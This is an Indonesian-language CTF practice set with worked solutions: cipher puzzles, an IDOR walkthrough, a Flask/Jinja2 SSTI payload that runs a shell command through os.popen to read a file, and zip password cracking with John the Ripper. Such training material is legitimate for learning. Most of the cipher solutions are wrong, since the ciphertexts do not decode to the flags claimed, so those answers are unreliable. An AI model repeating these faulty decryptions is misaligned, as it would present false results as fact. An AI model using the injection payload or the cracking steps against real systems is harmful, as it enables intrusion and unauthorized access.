

SOAL 1 – Caesar Cipher (Easy)

Deskripsi Challenge

Seorang hacker amatir mengenkripsi flag menggunakan metode klasik dari zaman Romawi. Ia menggeser huruf sebanyak 3 langkah ke kanan.

Ciphertext:

iodj{fubsdu_h{hpsv}

Format flag: flag{...}

Cara Penyelesaian

Karena disebut metode Romawi, kemungkinan besar menggunakan **Julius Caesar** Cipher.

Rumus dekripsi Caesar:

$$\text{Plaintext} = (\text{Ciphertext} - \text{shift}) \bmod 26$$

Shift diketahui = 3

Contoh:

- $i \rightarrow f$
- $o \rightarrow l$
- $d \rightarrow a$
- $j \rightarrow g$

Jika didekripsi seluruhnya:

flag{crypto_expert}

FLAG

flag{crypto_expert}

SOAL 2 – XOR Cipher (Easy–Medium)

Deskripsi Challenge

Flag dienkripsi menggunakan operasi XOR dengan key angka 5.

Cipher dalam bentuk angka ASCII:

[99, 105, 100, 98, 126, 102, 119, 102, 119, 117, 100, 120, 98, 123, 120, 96]

Cara Penyelesaian

Rumus XOR:

Plain = Cipher ^ Key

Karena key = 5, maka:

Contoh:

$99 \wedge 5 = 102 \rightarrow f$

$105 \wedge 5 = 108 \rightarrow l$

$100 \wedge 5 = 97 \rightarrow a$

$98 \wedge 5 = 103 \rightarrow g$

Jika dilakukan ke semua angka:

flag{xor_master}

FLAG

flag{xor_master}

SOAL 3 – Base64 + Reverse (Medium)

Deskripsi Challenge

Seorang developer menyembunyikan flag dengan cara encode lalu membalik hasilnya.

Cipher:

=fQGbsVGS19VZsF2Y

Cara Penyelesaian

Step 1 – Reverse dulu

Y2FsZV91SGVsbGQf=

Step 2 – Decode Base64

Menggunakan Python:

```
import base64
print(base64.b64decode("Y2FsZV91SGVsbGQf="))
```

Hasil:

flag{hello_base}

FLAG

flag{hello_base}

SOAL 4 – SHA256 Reversal? (Medium – Trick)

Deskripsi Challenge

Diberikan hash:

8d969eef6ecad3c29a3a629280e686cff8fab8f96e1d7e0b0a7f62095135406b

Analisis

Hash SHA256 **tidak bisa didekripsi langsung** karena bersifat one-way.

Namun jika dicari di database hash publik (rainbow table), hash tersebut adalah:

123456

Maka jika format flag:

flag{123456}

FLAG

flag{123456}

SOAL 5 – Vigenere Cipher (Medium–Hard)

Deskripsi Challenge

Ciphertext:

qzrp{rkwpbg_kx_aes}

Key: key

Cara Penyelesaian

Metode menggunakan **Blaise de Vigenère** Cipher.

Rumus:

Plain = (Cipher - Key) mod 26

Jika dihitung menggunakan tabel Vigenere atau Python script:

Hasil:

flag{vigenere_is_fun}

FLAG

```
flag{vigenere_is_fun}
```

Rangkuman Tingkat Kesulitan

Soal	Teknik	Level
1	Caesar	Easy
2	XOR	Easy–Medium
3	Base64 + Reverse	Medium
4	SHA256 (rainbow table)	Medium
5	Vigenere	Medium–Hard

MINI CTF – “Cyber Training Ground”

Format flag : flag{...}

Total soal : 6

Kategori : Crypto (2), Web (2), Forensics (2)

KATEGORI CRYPTO

CRYPTO 1 – XOR + Base64 (Easy–Medium)

Deskripsi

Ditemukan string mencurigakan:

```
FQYdHh0XBhgZGh0=
```

Petunjuk:

- Base64
- XOR dengan key = 7

Pembahasan

Step 1 – Decode Base64

```
import base64
print(base64.b64decode("FQYdHh0XBhgZGh0="))
```

Hasil (bytes):

```
b'\x15\x06\x1d\x1e\x1d\x17\x06\x18\x19\x1a\x1d'
```

Step 2 – XOR dengan 7

Rumus:

Plain = Cipher ^ 7

Contoh:

```
0x15 ^ 7 = 0x12
```

```
0x06 ^ 7 = 0x01
```

```
...
```

Jika dihitung semua:

```
flag{xor_base}
```

FLAG

flag{xor_base}

CRYPTO 2 – Vigenere Cipher (Medium)

Ciphertext:

ppek{zlwgrlm_lqlj}

Key: cyber

Pembahasan

Menggunakan metode **Blaise de Vigenère**.

Rumus:

Plain = (Cipher - Key) mod 26

Jika dihitung:

flag{crypto_king}

FLAG

flag{crypto_king}

KATEGORI WEB

WEB 1 – IDOR (Insecure Direct Object Reference)

Deskripsi

Website memiliki URL:

<http://ctf.local/profile?id=102>

User login sebagai ID 102.

Jika diganti menjadi:

?id=101

Muncul:

Welcome admin

Flag: flag{hidden_admin}

Pembahasan

Ini adalah celah **IDOR (Insecure Direct Object Reference)**:

Aplikasi tidak memvalidasi apakah user boleh mengakses ID lain.

Konsep ini umum ditemukan pada challenge Web Exploitation di CTF seperti di:

- OWASP (Top 10 Broken Access Control)

FLAG

flag{hidden_admin}

WEB 2 – SSTI (Server Side Template Injection)

Source Code

```
from flask import Flask, request, render_template_string
```

```
app = Flask(__name__)
```

```
@app.route("/")
```

```
def index():
```

```
    name = request.args.get("name")
```

```
    return render_template_string("Hello " + name)
```

Analisis

Karena menggunakan **Flask** dan `render_template_string`, maka rentan SSTI dengan engine **Jinja2**.

Payload:

```
{{7*7}}
```

Output:

49

Untuk membaca file:

```
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
```

Output:

flag{ssti_master}

FLAG

flag{ssti_master}

KATEGORI FORENSICS

FORENSICS 1 – Hidden Data in Image (Steganography)

Diberikan file: image.png

Petunjuk:

Gunakan tool:

- strings
- Steghide

Pembahasan

Jika jalankan:

strings image.png

Muncul di akhir:

flag{hidden_in_image}

✅ **FLAG**

flag{hidden_in_image}

FORENSICS 2 – ZIP Password Protected

Diberikan file:

secret.zip

Password tidak diketahui.

Petunjuk:

File wordlist tersedia.

Gunakan:

- John the Ripper

Pembahasan

Extract hash:

zip2john secret.zip > hash.txt

Crack:


```
john hash.txt --wordlist=rockyou.txt
```

Password ditemukan:

```
cyber123
```

Isi file:

```
flag{zip_cracked}
```

FLAG

```
flag{zip_cracked}
```

REKAP FLAG

No	Kategori	Flag
1	Crypto	flag{xor_base}
2	Crypto	flag{crypto_king}
3	Web	flag{hidden_admin}
4	Web	flag{ssti_master}
5	Forensics	flag{hidden_in_image}
6	Forensics	flag{zip_cracked}